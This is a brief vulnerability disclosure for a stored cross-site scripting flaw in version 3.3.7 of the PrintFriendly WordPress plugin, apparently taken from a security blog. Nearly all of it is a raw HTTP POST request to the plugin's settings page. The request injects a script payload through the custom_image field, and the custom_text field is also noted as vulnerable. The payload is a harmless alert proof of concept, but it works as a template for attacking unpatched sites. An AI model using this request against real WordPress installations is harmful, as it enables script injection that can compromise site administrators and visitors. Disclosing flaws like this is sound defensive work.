[EN] XSS in PrintFriendly

# ==============================================================
# Title ...| XSS in PrintFriendly
# Version .| printfriendly 3.3.7
# Date ....| 23.02.2014
# Found ...| HauntIT Blog
# Home ....| http://wordpress.org/plugins/
# ==============================================================


# ==============================================================
# XSS

---<request>---
POST /k/wordpress/wp-admin/options.php HTTP/1.1
Host: 10.149.14.62
(...)
Content-Length: 1389

option_page=printfriendly_option&action=update&_wpnonce=496ce7c4d4&_wp_http_referer=%2Fk%2Fwordpress%2Fwp-admin%2Foptions-general.php%3Fpage%3Dprintfriendly&printfriendly_option%5Bbutton_type%5D=pf-button.gif&printfriendly_option%5Bcustom_image%5D='%3e"%3e%3cbody%2fonload%3dalert(9999)%3e&printfriendly_option%5Bcustom_text%5D=Print+Friendly&printfriendly_option%5Btext_color%5D=%236D9F00&printfriendly_option%5Btext_size%5D=14&printfriendly_option%5Bcontent_position%5D=left&printfriendly_option%5Bcontent_placement%5D=after&printfriendly_option%5Bmargin_left%5D=12&printfriendly_option%5Bmargin_right%5D=12&printfriendly_option%5Bmargin_top%5D=12&printfriendly_option%5Bmargin_bottom%5D=12&printfriendly_option%5Bshow_on_posts%5D=on&printfriendly_option%5Bshow_on_pages%5D=on&printfriendly_option%5Blogo%5D=favicon&printfriendly_option%5Bimage_url%5D=&printfriendly_option%5Btagline%5D=&printfriendly_option%5Bclick_to_delete%5D=0&printfriendly_option%5Bhide-images%5D=0&printfriendly_option%5Bimage-style%5D=right&printfriendly_option%5Bemail%5D=0&printfriendly_option%5Bpdf%5D=0&printfriendly_option%5Bprint%5D=0&printfriendly_option%5Bcustom_css_url%5D=&printfriendly_option%5Bwebsite_protocol%5D=http&printfriendly_option%5Bpassword_protected%5D=no&printfriendly_option%5Bjavascript%5D%3E=yes&printfriendly_option%5Benable_google_analytics%5D=no&printfriendly_option%5Bpf_algo%5D=wp
---<request>---

Also vulnerable: printfriendly_option%5Bcustom_text%5D



# ==============================================================
# More @ http://HauntIT.blogspot.com
# Thanks! ;)
# o/